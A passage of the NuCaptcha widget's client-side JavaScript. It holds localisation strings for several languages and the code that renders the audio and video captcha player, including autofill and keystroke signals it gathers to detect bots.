"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
"_DIRECTIONS_AUDIO[0000]_": "您聽到的數字:",
_AUDIO_BUTTON_RETURN_: "返回視訊問題",
"_DIRECTIONS2[0000]_": "晃動的字母:",
"_DIRECTIONS2_VERBOSE[0000]_": "輸入晃動的字母",
"_DIRECTIONS2_AUDIO[0000]_": "您聽到的數字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "輸入您在音訊中聽到的數字",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
jpn: {
_DOWNLOAD_AUDIO_: "音声ファイルをダウンロード",
_AUDIO_LISTEN_AGAIN_: "音声を再生",
_AUDIO_NEW_CHALLENGE_: "別バージョンを再生",
_REFRESH_BUTTON_: "別バージョンを再生",
_AUDIO_BUTTON_: "別バージョンの音声を再生",
_PLAYER_AUDIO_: "音声認識",
_PLAYER_VIDEO_: "文字認識",
"_DIRECTIONS_VERBOSE[0000]_": "動いている文字を入力してください",
"_DIRECTIONS[0000]_": "動いている文字:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "聴こえた数字を入力してください",
"_DIRECTIONS_AUDIO[0000]_": "聴こえた数字:",
_AUDIO_BUTTON_RETURN_: "文字認識へ戻る",
"_DIRECTIONS2[0000]_": "動いている文字:",
"_DIRECTIONS2_VERBOSE[0000]_": "動いている文字を入力してください",
"_DIRECTIONS2_AUDIO[0000]_": "聴こえた数字:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "聴こえた数字を入力してください",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
est: {
_DOWNLOAD_AUDIO_: "Lae audio väljakutse",
_AUDIO_LISTEN_AGAIN_: "Esita uuesti helinäidise",
_AUDIO_NEW_CHALLENGE_: "Hankige uus väljakutse",
_REFRESH_BUTTON_: "Hankige uus väljakutse",
_AUDIO_BUTTON_: "Hangi audio väljakutse",
_PLAYER_AUDIO_: "Audio väljakutse",
_PLAYER_VIDEO_: "Video väljakutse",
"_DIRECTIONS_VERBOSE[0000]_": "Sisestage liiguvad tekst",
"_DIRECTIONS[0000]_": "Liikumine tekst:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Sisestage liigub tekst",
"_DIRECTIONS_AUDIO[0000]_": "Tähed kuulete",
_AUDIO_BUTTON_RETURN_: "Mine tagasi visuaalne väljakutse",
"_DIRECTIONS2[0000]_": "Liikumine tekst:",
"_DIRECTIONS2_VERBOSE[0000]_": "Sisestage liiguvad tekst",
"_DIRECTIONS2_AUDIO[0000]_": "Tähed kuulete",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Sisestage liigub tekst",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
lav: {
_DOWNLOAD_AUDIO_: "Lejupielādētu audio izaicinājumu",
_AUDIO_LISTEN_AGAIN_: "Atskaņot vēlreiz audio izlases",
_AUDIO_NEW_CHALLENGE_: "Iegūt jaunu izaicinājumu",
_REFRESH_BUTTON_: "Iegūt jaunu izaicinājumu",
_AUDIO_BUTTON_: "Saņemt audio izaicinājumu",
_PLAYER_AUDIO_: "Audiovizuālie izaicinājums",
_PLAYER_VIDEO_: "Video izaicinājums",
"_DIRECTIONS_VERBOSE[0000]_": "Ierakstiet Kustīgu burtus",
"_DIRECTIONS[0000]_": "Kustīgu burtus:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Ierakstiet burtus dzirdat ar audio",
"_DIRECTIONS_AUDIO[0000]_": "Burti jūs dzirdat:",
_AUDIO_BUTTON_RETURN_: "Atgriezties uz vizuālo izaicinājumu",
"_DIRECTIONS2[0000]_": "Kustīgu burtus:",
"_DIRECTIONS2_VERBOSE[0000]_": "Ierakstiet Kustīgu burtus",
"_DIRECTIONS2_AUDIO[0000]_": "Burti jūs dzirdat:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Ierakstiet burtus dzirdat ar audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
lit: {
_DOWNLOAD_AUDIO_: "Parsisiųsti garso iššūkis",
_AUDIO_LISTEN_AGAIN_: "Pakartoti garso pavyzdys",
_AUDIO_NEW_CHALLENGE_: "Gauti naują iššūkį",
_REFRESH_BUTTON_: "Gauti naują iššūkį",
_AUDIO_BUTTON_: "Gauk garso iššūkis",
_PLAYER_AUDIO_: "Garso iššūkis",
_PLAYER_VIDEO_: "Vaizdo iššūkis",
"_DIRECTIONS_VERBOSE[0000]_": "Įveskite judančias raides",
"_DIRECTIONS[0000]_": "Persikėlimas raides:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Įveskite raides, kuriuos girdite į audio",
"_DIRECTIONS_AUDIO[0000]_": "Tekstas išgirsite:",
_AUDIO_BUTTON_RETURN_: "Grįžti į regėjimo iššūkis",
"_DIRECTIONS2[0000]_": "Persikėlimas raides:",
"_DIRECTIONS2_VERBOSE[0000]_": "Įveskite judančias raides",
"_DIRECTIONS2_AUDIO[0000]_": "Tekstas išgirsite:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Įveskite raides, kuriuos girdite į audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
"": {
_DOWNLOAD_AUDIO_: "",
_AUDIO_LISTEN_AGAIN_: "",
_AUDIO_NEW_CHALLENGE_: "",
_REFRESH_BUTTON_: "",
_AUDIO_BUTTON_: "",
_PLAYER_AUDIO_: "",
_PLAYER_VIDEO_: "",
"_DIRECTIONS_VERBOSE[0000]_": "",
"_DIRECTIONS[0000]_": "",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "",
"_DIRECTIONS_AUDIO[0000]_": "",
_AUDIO_BUTTON_RETURN_: "",
"_DIRECTIONS2[0000]_": "",
"_DIRECTIONS2_VERBOSE[0000]_": "",
"_DIRECTIONS2_AUDIO[0000]_": "",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
}
};
function ncInitServerRequestIntercept() {
if ("function" === typeof window.XMLHttpRequest && ndCaptchaAutofillSources.hasOwnProperty(ncAutofillServerKey) && 0 < ndCaptchaAutofillSources[ncAutofillServerKey].length) {
var a = "",
b = XMLHttpRequest.prototype.open;
try {
XMLHttpRequest.prototype.open = function() {
b.apply(this, arguments);
a = arguments[1];
ncMatchAutofillSources(ncAutofillServerKey, a)
}
} catch (c) {}
}
}
function ncInitPropertyChangeEvent(a, b) {
try {
if (null != a)
if ("function" === typeof window.MutationObserver) {
var c = new MutationObserver(function(a) {
b(a, c)
});
c.observe(a, {
childList: !0,
attributes: !0,
characterData: !0
})
} else "onpropertychange" in a && a.attachEvent && a.attachEvent("onpropertychange", function(a) {
b(a, null)
})
} catch (d) {}
}
function ncInputProfileAutofillMutationHandler(a, b) {
if (null != a)
if (null != b) a.forEach(function(a) {
if (!0 === ncMatchAutofillSources(ncAutofillPropertyKey, a.target.outerHTML)) return b.disconnect(), !1
});
else {
var c = a || window.event,
c = c.target ? c.target : c.srcElement;
!0 === ncMatchAutofillSources(ncAutofillPropertyKey, c.outerHTML) && c.detachEvent("onpropertychange", this)
}
}
function ncMatchAutofillSources(a, b) {
var c = ncGetElement(ncTokenName);
if (null != c && ndCaptchaAutofillSources.hasOwnProperty(a) && 0 < ndCaptchaAutofillSources[a].length && (new RegExp(ndCaptchaAutofillSources[a].join("|"), "i")).test(b)) {
switch (a) {
case ncAutofillServerKey:
ncAutofillServerRequest = 1;
break;
case ncAutofillPropertyKey:
ncAutofillPropertyChange = 1
}
c.value = ncGetSuperToken();
return !0
}
return !1
}
function ncInputProfileRegisterEventHandler(a, b, c) {
try {
a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent && a.attachEvent("on" + b, c)
} catch (d) {}
}
var ncInputProfileKeydownHandler = function(a) {
a = ncGetElement(ncTokenName);
null != a && (ncKDC += 1, a.value = ncGetSuperToken())
};
function ncIndexOf(a, b) {
if (!a.indexOf) {
for (var c = 0; c < a.length; c++)
if (a[c] == b) return c;
return -1
}
return a.indexOf(b)
}
function ncOnVideoClick() {}
function ncSetElementHref(a, b) {
null != a && null != a.setAttribute && a.setAttribute("href", b);
a.href = b;
return a
}
function ncSetElementVisible(a, b) {
if (null == a) return null;
a.style.display = b ? "block" : "none";
return a
}
function ncGetElement(a) {
if ("" != ncDomSuffix) {
var b = ncGetElementInternal(a + ncDomSuffix);
if (null != b) return b
}
return ncGetElementInternal(a)
}
function ncGetElementInternal(a) {
return document.getElementById ? document.getElementById(a) : document.all ? document.all[a] : null
}
function ncGetElementValue(a) {
a = ncGetElement(a);
return null == a ? "" : a.value
}
function ncGetChildElement(a, b) {
if (null == a) return null;
for (var c = 0; c < a.childNodes.length; c++)
if (a.childNodes[c].id == b || a.childNodes[c].id == b + ncDomSuffix) return a.childNodes[c];
return null
}
function ncRemoveElement(a, b) {
if (null == a) return null;
if (a.removeChild) {
for (var c = 0; c < a.childNodes.length; c++)
if (a.childNodes[c].id == b || a.childNodes[c].id == b + ncDomSuffix) return a.removeChild(a.childNodes[c]);
return null
}
document.all && (document.all[b + ncDomSuffix] = null, document.all[b] = null);
return null
}
function ncSafeGet(a, b, c) {
return null == a ? c : b in a ? "" === a[b] ? c : a[b] : c
}
function ncSafeGetInt(a, b, c) {
"string" == typeof c && (c = parseInt(c));
return null == a ? c : b in a ? (a = a[b], "" === a ? c : "string" == typeof a ? parseInt(a) : a) : c
}
function ncGetUnixTime() {
return parseInt((new Date).getTime() / 1E3)
}
function ncGetTimeMS() {
return parseInt((new Date).getTime())
}
function ncLocText(a) {
var b = ncLanguage[ncPlayerModeVideo].toLowerCase();
if (!(b in ncLanguageDict || (b = ncRemappedLanguage.toLowerCase(), b in ncLanguageDict))) return a;
var c = "_" + a + "_",
b = ncLanguageDict[b];
return c in b ? b[c] : a
}
function ncLocSecurityText(a) {
var b = ncLanguage[ncPlayerModeVideo].toLowerCase();
if (!(b in ncLanguageDict || (b = ncRemappedLanguage.toLowerCase(), b in ncLanguageDict))) return a;
var b = ncLanguageDict[b],
c = -1,
d = null,
e = new RegExp("^_" + a + "\\[(\\d+)\\]_$", "i");
for (ck in b) {
var f = e.exec(ck);
null != f && 2 == f.length && (f = parseInt(f[1]), f > c && f <= ncSecurityLevel && (c = f, d = ck))
}
return null != d ? b[d] : a
}
var ncWaitForDOMCallbacks = [],
ncWaitForDOMTotal = 0,
ncWaitForDOMTimeout = 200;
function ncWaitForDOM(a) {
null != a ? ncWaitForDOMCallbacks.push(a) : ncWaitForDOMTotal += ncWaitForDOMTimeout;
if (null != ncGetElement(ncWidgetID)) {
a = ncWaitForDOMCallbacks;
ncWaitForDOMCallbacks = [];
try {
for (var b = 0; b < a.length; b++)(0, a[b])()
} catch (c) {
ncCallRenderErrorPlayer(c.toString())
}
} else null != a && (ncWaitForDOMTotal = 0, ncWaitForDOMTimeout = 200), 1E4 > ncWaitForDOMTotal ? (setTimeout("ncWaitForDOM(null)", ncWaitForDOMTimeout), ncWaitForDOMTimeout *= 2) : (ncWaitForDOMCallbacks = [], ncCallRenderErrorPlayer(
"Unable to find " + ncWidgetID + " in DOM after " + ncWaitForDOMTotal + " ms"))
}
var ncInitData = null;
function ncLoadPlayer(a) {
ncLoadPlayerExternal(a)
}
function ncLoadPlayerExternal(a) {
ncPreviousState = ncCurrentState;
ncCurrentSubState = ncCurrentState = ncStateInit;
ncEnterStateTime = ncGetUnixTime();
ncInitData = a;
ncDomSuffix = ncSafeGet(ncInitData, "iis", ncDomSuffix);
ncInitWidgetIDs(ncSafeGet(a, "widgetName", "nucaptcha"));
ncWaitForDOM(function() {
ncWidgetElement = ncGetElement(ncWidgetID);
ncWidgetContainerElement = ncGetElement(ncWidgetScriptContainerID);
ncSkinElement = ncGetElement(ncSkinID);
ncSaveGlobals(a);
ncPlayerInitState();
ncInputProfileRegisterEventHandler(ncGetElement(ncAnswerID), "keydown", ncInputProfileKeydownHandler);
ndCaptchaAutofillSources = ncSafeGet(ncInitData, "autofillsources", ndCaptchaAutofillSources);
ncInitServerRequestIntercept();
ncInitPropertyChangeEvent(ncGetElement(ncAnswerID), ncInputProfileAutofillMutationHandler)
})
}
function ncInitWidgetIDs(a) {
ncWidgetName = a;
ncScriptPlayerID = a + "-player";
ncMediaObjectID = a + "-media";
ncWidgetErrorID = a + "-error"
}
function ncNotifyWidgetLoaded() {
"function" == typeof ncOnWidgetLoaded && ncOnWidgetLoaded()
}
var ncDataServer = "",
ncR = "notset",
ncHighlightAnswerBox = !1,
ncIndex = 0,
ncPlayerTypeNoScript = "NOSCRIPT",
ncPlayerTypeScript = "SCRIPT",
ncPlayerType = ncPlayerTypeScript,
ncPlayerModeAudio = "AUDIO",
ncPlayerModeVideo = "VIDEO",
ncPlayerMode = ncPlayerModeVideo,
ncBrowserName = "",
ncPlatformName = "",
ncAutofocusAudioElemID = "",
ncEnableMediaToggle = !0,
ncEnableAudioControls = !1,
ncStateInit = "INIT",
ncStateVideo = "VIDEO",
ncStateAudio = "AUDIO",
ncPreviousState = ncStateInit,
ncCurrentState = ncStateInit,
ncCurrentSubState = ncStateInit,
ncStateEnterTime = 0,
ncToken = "",
ncLanguage = {
ncPlayerModeVideo: "eng",
ncPlayerModeAudio: "eng"
},
ncRemappedLanguage = "eng",
ncVideoWidth = 240,
ncVideoHeight = 60,
ncSecurityLevel = 100,
ncSecurityLevelString = "0100",
ncWidgetError = !1,
ncWidgetID = "nucaptcha-widget",
ncWidgetScriptContainerID = "nucaptcha-widget-container",
ncWidgetName = "nucaptcha",
ncScriptPlayerID = "nucaptcha-player",
ncSkinID = "nucaptcha-skin",
ncMediaObjectID = "nucaptcha-media",
ncTrackRetryID = "nucaptcha-media-status",
ncAnswerID = "nucaptcha-answer",
ncExitTimeID = "nucaptcha-answer-exit",
ncEnterTimeID = "nucaptcha-answer-enter",
ncTokenName = "nucaptcha-supertoken",
ncFallbackTokenID = "nucaptcha-fallback-token",
ncWidgetErrorID = "nucaptcha-error",
ncErrorContainerID = "nucaptcha-error-container",
ncInputProfileID = "nucaptcha-iprofile",
ncEncryptedPersistentDataID = "nucaptcha-epd",
ncAutofillServerKey = "servers",
ncAutofillPropertyKey = "properties",
ncLastRenderTime = 0,
ncRetryDelay = null,
ncRetryCount = 0,
ncAnswerTabIndex = -1,
ncOrigDataServer = null,
ncGifRetryCount = 0,
ncDisplayAudioLinks = !0,
ncDisplayAudioDownload = !0,
ncButtonStates = ["default", "hover", "active"],
ncButtonToggleStates = ["toggle", "toggle-checked"],
ncWidgetElement = null,
ncWidgetContainerElement = null,
ncKDC = 0,
ncAutofillServerRequest = 0,
ncAutofillPropertyChange = 0,
ndCaptchaAutofillSources = {},
ncSuperToken = "",
ncTrackRequestError = null,
ncTrackRequestLoaded = !1,
ncTrackRequestTimeout = 1E4,
ncTrackRequestTimeoutID = null,
ncButtonAlign = "right",
ncDisplayFlag_Directions = 1,
ncDisplayFlag_DirectionsVerbose = 2,
ncDisplayFlag_ButtonHelp = 8,
ncDisplayFlag_ButtonNewChallenge = 16,
ncDisplayFlag_ButtonAudioChallenge = 32,
ncDisplayFlags = 65535,
ncDomSuffix = "";
function ncPlayerInitState() {
ncEnterState(ncPlayerMode == ncPlayerModeAudio ? ncStateAudio : ncStateVideo)
}
function ncDisplayFlagCheck(a) {
return a == (ncDisplayFlags & a)
}
function ncDisplayFlagSet(a, b) {
ncDisplayFlags = 0 !== b ? ncDisplayFlags | a : ncDisplayFlags & ~a
}
function ncEnterState(a) {
ncOnExitState(ncCurrentState, a);
ncPreviousState = ncCurrentState;
ncCurrentState = a;
ncCurrentSubState = ncStateInit;
ncEnterStateTime = ncGetUnixTime();
ncOnEnterState(ncPreviousState, ncCurrentState);
ncRefreshScriptPlayer()
}
function ncEnterSubState(a) {
var b = ncCurrentSubState;
ncOnExitSubState(b, a);
ncCurrentSubState = a;
ncOnEnterSubState(b, a)
}
function ncOnExitState(a, b) {}
function ncOnEnterState(a, b) {}
function ncOnEnterSubState(a, b) {
switch (ncCurrentState) {
case ncStateVideo:
ncUpdateDirectionsText()
}
}
function ncOnExitSubState(a, b) {}
function ncRefreshScriptPlayer(a) {
try {
if ("undefined" != typeof a) {
ncDomSuffix = a;
var b = ncGetElementValue(ncTokenName);
"" != b && (ncToken = b.split("|")[0]);
ncWidgetElement = ncGetElement(ncWidgetID);
ncWidgetContainerElement = ncGetElement(ncWidgetScriptContainerID)
}
ncRemoveElement(ncWidgetContainerElement, ncScriptPlayerID);
var c = ncRenderScriptPlayer();
ncLastRenderTime = ncGetTimeMS();
ncWidgetContainerElement.innerHTML = c + ncWidgetContainerElement.innerHTML;
ncNotifyOpenSkin("EVENT_REFRESH_HTML", null);
if (ncHighlightAnswerBox) {
var d = ncGetElement(ncAnswerID);
null != d && d.focus()
}
if (ncPlayerMode === ncPlayerModeAudio && ncAutofocusAudioElemID) {
var e = ncGetElement(ncAutofocusAudioElemID);
null !== e && e.focus()
}
ncInputProfileRegisterEventHandler(ncGetElement(ncAnswerID), "keydown", ncInputProfileKeydownHandler);
ndCaptchaAutofillSources = ncSafeGet(ncInitData, "autofillSources", ndCaptchaAutofillSources);
ncInitServerRequestIntercept();
ncInitPropertyChangeEvent(ncGetElement(ncAnswerID), ncInputProfileAutofillMutationHandler)
} catch (f) {
ncCallRenderErrorPlayer(f.toString())
}
}
function ncNotifyOpenSkin(a, b) {
"undefined" != typeof nucaptcha && "function" == typeof nucaptcha._notifyListeners && nucaptcha._notifyListeners(a, b)
}
function ncSaveGlobals(a) {
ncDataServer = ncSafeGet(a, "challengeBaseUrl", ncDataServer);
ncDisplayAudioDownload = ncSafeGet(a, "displayAudioDownload", ncDisplayAudioDownload);
ncToken = ncSafeGet(a, "token", ncToken);
ncSecurityLevel = ncSafeGet(a, "textLevel", ncSecurityLevel);
ncR = ncSafeGet(a, "r", ncR);
ncDomSuffix = ncSafeGet(a, "iis", ncDomSuffix);
ncVideoWidth = ncSafeGet(a, "videoWidth", ncVideoWidth);
ncVideoHeight = ncSafeGet(a, "videoHeight", ncVideoHeight);
ncPlayerMode = ncSafeGet(a, "playerMode", ncPlayerMode);
ncEnableAudioControls = ncSafeGet(a, "enableAudioControls", ncEnableAudioControls);
ncAutofocusAudioElemID = ncSafeGet(a, "autofocusAudioElemID", ncAutofocusAudioElemID);
ncLanguage[ncPlayerModeVideo] = ncSafeGet(a, "lang", ncRemappedLanguage);
ncLanguage[ncPlayerModeAudio] = ncSafeGet(a, "audioLang", ncRemappedLanguage);
ncRemappedLanguage = ncLanguage[ncPlayerModeVideo];
ncEnableMediaToggle = ncSafeGet(a, "enableMediaToggle", ncEnableMediaToggle);
ncBrowserName = ncSafeGet(a, "browserName", ncBrowserName);
ncPlatformName = ncSafeGet(a, "platformName", ncPlatformName);
ncAnswerID = ncSafeGet(a, "answerName", ncAnswerID);
ncTokenName = ncSafeGet(a, "tokenName", ncTokenName);
ncAnswerTabIndex = ncSafeGet(a, "tabIndex", ncAnswerTabIndex);
0 == ncEnableMediaToggle && ncDisplayFlagSet(ncDisplayFlag_ButtonAudioChallenge, 0);
ncSecurityLevelString = "" + ncSecurityLevel;
10 > ncSecurityLevel ? ncSecurityLevelString = "000" + ncSecurityLevelString : 100 > ncSecurityLevel ? ncSecurityLevelString = "00" + ncSecurityLevelString : 1E3 > ncSecurityLevel && (ncSecurityLevelString = "0" + ncSecurityLevelString)
}
function ncGetCustomSWF() {
return !1
}
function ncRenderExtDirections(a) {
ncRenderElementStart("label", "directions-label", null, 'for="' + ncAnswerID + '"');
ncDisplayFlagCheck(ncDisplayFlag_Directions) && ncRenderElementContent(a);
ncRenderElementEnd()
}
function ncRenderExtDirectionsVerbose(a) {
ncRenderElementStart("label", "directions-verbose-label", null, 'for="' + ncAnswerID + '"');
ncDisplayFlagCheck(ncDisplayFlag_DirectionsVerbose) && ncRenderElementContent(a);
ncRenderElementEnd()
}
function ncRenderExtButtons() {
ncDisplayFlagCheck(ncDisplayFlag_ButtonNewChallenge) && ncRenderButton("refresh", "cmd", "javascript:ncCmdNewChallenge('" + ncDomSuffix + "');", ncLocText("REFRESH_BUTTON"));
ncDisplayFlagCheck(ncDisplayFlag_ButtonAudioChallenge) && ncRenderButton("audio", "cmd " + ncButtonToggleStates[ncPlayerMode != ncPlayerModeAudio ? 0 : 1], "javascript:ncCmdToggleAudio('" + ncDomSuffix + "');", ncLocText("AUDIO_BUTTON"))
}
function ncRenderExtAnswerInput(a) {
ncGetDirectionsText();
"undefined" == typeof a && (a = "");
ncRenderElementInput(ncAnswerID, null, "", "text", "onblur=\"ncCmdLeaveAnswerBox('" + ncDomSuffix + "');\" onfocus=\"ncCmdEnterAnswerBox('" + ncDomSuffix + "');\" onchange=\"ncCmdLeaveAnswerBox('" + ncDomSuffix +
"');\" onclick=\"ncCmdClickAnswerBox('" + ncDomSuffix + '\');"maxlength="64" aria-required="true" autocomplete="off"' + (0 <= ncAnswerTabIndex ? ' tabindex="' + ncAnswerTabIndex + '"' : "") + " " + a)
}
function ncGetSuperToken() {
return ncToken + "|" + ncIndex + "|" + ncPlayerMode + "|" + ncKDC + "|" + ncDomSuffix + "|" + ncAutofillServerRequest + "|" + ncAutofillPropertyChange
}
function ncRenderExtPrivate() {
ncSuperToken = ncGetSuperToken();
ncRenderElementInput(ncEnterTimeID, null, null, "hidden", 'value=""');
ncRenderElementInput(ncExitTimeID, null, null, "hidden", 'value="" onsubmit="ncCmdLeaveAnswerBox(\'' + ncDomSuffix + "');\"");
ncRenderElementInput(ncTokenName, null, null, "hidden", 'value="' + ncSuperToken + '"');
!1 !== ncWidgetError && ncRenderElementInput(ncWidgetErrorID, null, null, "hidden", 'value="' + ncWidgetError + '"')
}
function ncRenderExtFooter() {}
function ncRenderExtMedia() {
var a = ncGetDirectionsText()[1],
b = ncDataServer + "?" + ncGetDataParams(),
a = ncLocSecurityText(a);
if (ncCurrentState == ncStateAudio) {
navigator.userAgent.match(/Windows Phone|iemobile/i) && (ncPlatformName = "WindowsPhone");
ncDisplayAudioLinks && ("Android" !== ncPlatformName && "iOS" !== ncPlatformName && "WindowsPhone" !== ncPlatformName && !1 === ncEnableAudioControls && (ncRenderElementStart("a", "audio-listen-again", "cmd-audio",
"href=\"javascript:ncCmdRefresh('" + ncDomSuffix + '\');" title="' + ncLocText("AUDIO_LISTEN_AGAIN") + '"'), ncRenderElementContent(ncLocText("AUDIO_LISTEN_AGAIN")), ncRenderElementEnd()), ncDisplayAudioDownload && (
ncRenderElementStart("a", "audio-download", "cmd-audio", 'href="' + b + '" title="' + ncLocText("DOWNLOAD_AUDIO") + '"'), ncRenderElementContent(ncLocText("DOWNLOAD_AUDIO")), ncRenderElementEnd()));
var c = a = "",
d = "autoplay ";
if ("Android" === ncPlatformName || "iOS" === ncPlatformName || "WindowsPhone" === ncPlatformName || ncEnableAudioControls) c = " controls", a = " style='width: 160px; display: block; margin:20px;'", d = "";
ncRenderElementStart("audio", ncMediaObjectID, null, d + a + c);
ncRenderElement("source", null, null, 'src="' + b + '" type="audio/mpeg"');
ncRenderElementEnd()
} else ncCurrentState == ncStateVideo && ncRenderElementGif(ncMediaObjectID, "", ncVideoWidth, ncVideoHeight, b, a, 'onclick="javascript:ncOnVideoClick();"')
}
function ncRenderScriptPlayer() {
ncRemoveElement(ncWidgetContainerElement, ncAnswerID);
ncRemoveElement(ncWidgetContainerElement, "directions-label");
ncRemoveElement(ncWidgetContainerElement, "directions-verbose-label");
var a = ncGetDirectionsText(),
b = a[0],
c = a[1],
d = null,
a = "",
e = ncGetElement("nucaptcha-template");
if (null != e)
if (d = e.innerHTML, void 0 != d && "" != d) {
if (-1 == d.indexOf("${PlayerStart}") || -1 == d.indexOf("${PlayerEnd}") || -1 == d.indexOf("${Media}")) d = null, a = '<div class="error">Template must contain ${PlayerStart}, ${PlayerEnd} and ${Media} variables</div>'
} else d = null, a = '<div class="error">Unable to find valid template "nucaptcha-template"</div>';
null == d && (d = "${PlayerStart} ${Media} ${DirectionsVerbose} ${InputAnswer} ${PlayerEnd}");
var f = ncRenderGlobalClasses(),
e = {};
e.PlayerStart = '<div id="' + ncWidgetName + "-player" + ncDomSuffix + '" class="' + ncWidgetName + "-player " + f + '">\n';
e.PlayerEnd = "</div>\n";
e.Directions = '<label id="directions-label' + ncDomSuffix + '" class="directions-label">' + ncLocSecurityText(b) + "</label>";
e.DirectionsVerbose = '<label id="directions-verbose-label' + ncDomSuffix + '" class="directions-verbose-label" for="' + ncAnswerID + ncDomSuffix + '">' + ncLocSecurityText(c) + "</label>";
ncDisplayFlagCheck(ncDisplayFlag_ButtonNewChallenge) && (e.CommandNewChallenge = '<a id="new-challenge' + ncDomSuffix + '" title="' + ncLocText("REFRESH_BUTTON") + '" class="cmd new-challenge" href="javascript:ncCmdNewChallenge(\'' +
ncDomSuffix + "');\" >" + ncLocText("REFRESH_BUTTON") + "</a>");
ncDisplayFlagCheck(ncDisplayFlag_ButtonAudioChallenge) ? (b = "AUDIO_BUTTON", ncPlayerMode === ncPlayerModeAudio && (b = "AUDIO_BUTTON_RETURN"), e.CommandPlayerMode = '<a id="player-mode' + ncDomSuffix + '" title="' + ncLocText(b) +
'" class="cmd player-mode ' + ncButtonToggleStates[ncPlayerMode != ncPlayerModeAudio ? 0 : 1] + '" href="javascript:ncCmdToggleAudio(\'' + ncDomSuffix + "');\" >" + ncLocText(b) + "</a>") : e.CommandPlayerMode = "";
e.CommandHelp = "";
e.CommandErrorContainer = '<div id="' + ncErrorContainerID + ncDomSuffix + '" class="error"></div>';
ncRenderBegin();
ncRenderElementStart("div", "media-container");
ncRenderExtMedia();
ncRenderElementEnd();
ncRenderEnd();
e.Media = ncRenderFrame.join("\n");
ncRenderBegin();
ncRenderExtAnswerInput();
ncRenderEnd();
e.InputAnswer = ncRenderFrame.join("\n");
ncRenderBegin();
ncRenderElementStart("div", "private-container", null, null);
ncRenderExtPrivate();
ncRenderElementEnd();
ncRenderEnd();
e.PlayerEnd = ncRenderFrame.join("\n") + e.PlayerEnd;
var b = d,
g;
for (g in e) b = b.replace(new RegExp("\\$\\{" + g + "\\}", "g"), e[g]);
return b + a
}
function ncRenderGlobalClasses() {
var a = [];
a.push("wm-script");
a.push("pt-" + ncPlayerType.toLowerCase());
a.push("pm-" + ncPlayerMode.toLowerCase());
a.push("l-" + ncLanguage[ncPlayerModeVideo].toLowerCase());
return a.join(" ")
}
function ncRenderElementGif(a, b, c, d, e, f, g) {
if (void 0 == g || null == g) g = "";
ncRenderElement("img", a, b, ' onload="ncOnGifLoaded()" onerror="ncOnGifError()" width="' + c + '" height="' + d + '" title="' + f + '" src="' + e + '" alt="NuCaptcha Media" ' + g)
}
function ncRenderButton(a, b, c, d) {
ncRenderElementStart("a", a, b + " " + ncButtonStates[0], ' href="' + c + '" title="' + d +
'" onmousedown="javascript:ncButtonDown(this)" onmouseup="javascript:ncButtonUp(this)" onmouseover="javascript:ncButtonOver(this)" onmouseout="javascript:ncButtonOut(this)"');
ncRenderElementContent(d);
ncRenderElementEnd()
}
function ncRenderElementInput(a, b, c, d, e) {
ncRenderElementStart("input", a, b, 'name="' + a + '" title="' + c + '" type="' + d + '" ' + e);
ncRenderElementEnd()
}
var ncStoredRenderFrames = {},
ncRenderFrame = [],
ncRenderStack = [],
ncRenderIndent = "",
ncRenderIndentValue = " ";
function ncRenderStateSave() {
return [ncStoredRenderFrames, ncRenderFrame, ncRenderStack, ncRenderIndent]
}
function ncRenderStateRestore(a) {
ncStoredRenderFrames = a[0];
ncRenderFrame = a[1];
ncRenderStack = a[2];
ncRenderIndex = a[3]
}
function ncRenderBegin() {
ncStoredRenderFrames = {};
ncRenderFrame = [];
ncRenderStack = [];
ncRenderIndent = ""
}
function ncRenderEnd() {}
function ncRenderElementStart(a, b, c, d, e) {
var f = [];
if (null != c) {
for (var g = c.split(" "), h = 0; h < g.length; h++) "" != g[h] && f.push("." + g[h]);
null != b && -1 === c.indexOf(b) && (c += " " + b)
} else c = b;
ncRenderStack.push([a, null != b ? "#" + b : "", f]);
ncRenderIndent += ncRenderIndentValue;
b = null == b ? "" : ' id="' + b + ncDomSuffix + '"';
c = null == c ? "" : ' class="' + c + '"';
null != e && (c += ' style="' + e + '"');
ncRenderFrame.push("<" + a + b + c + (null == d ? "" : " " + d) + " >")
}
function ncRenderElement(a, b, c, d, e) {
ncRenderElementStart(a, b, c, d);
null != e && ncRenderElementContent(e);
ncRenderElementEnd()
}
function ncRenderElementContent(a) {
ncRenderFrame.push(ncRenderIndent + ncRenderIndentValue + a)
}
function ncRenderElementEnd() {
ncRenderFrame.push("</" + ncRenderStack[ncRenderStack.length - 1][0] + ">");
ncRenderStack.pop();
ncRenderIndent = "";
for (var a = 0; a < ncRenderStack.length; a++) ncRenderIndent += ncRenderIndentValue
}
function ncGetDataParams() {
return "type=" + ncPlayerMode + "&lang=" + ncLanguage[ncPlayerMode].toLowerCase() + "&index=" + ncIndex + "&token=" + ncToken + "&r=" + ncR + "&ptype=" + ncPlayerType
}
function ncUpdateDirectionsText() {
var a = ncGetDirectionsText(),
b = ncGetElement("directions-label");
null != b && (b.innerHTML = ncLocSecurityText(a[0]));
b = ncGetElement("directions-verbose-label");
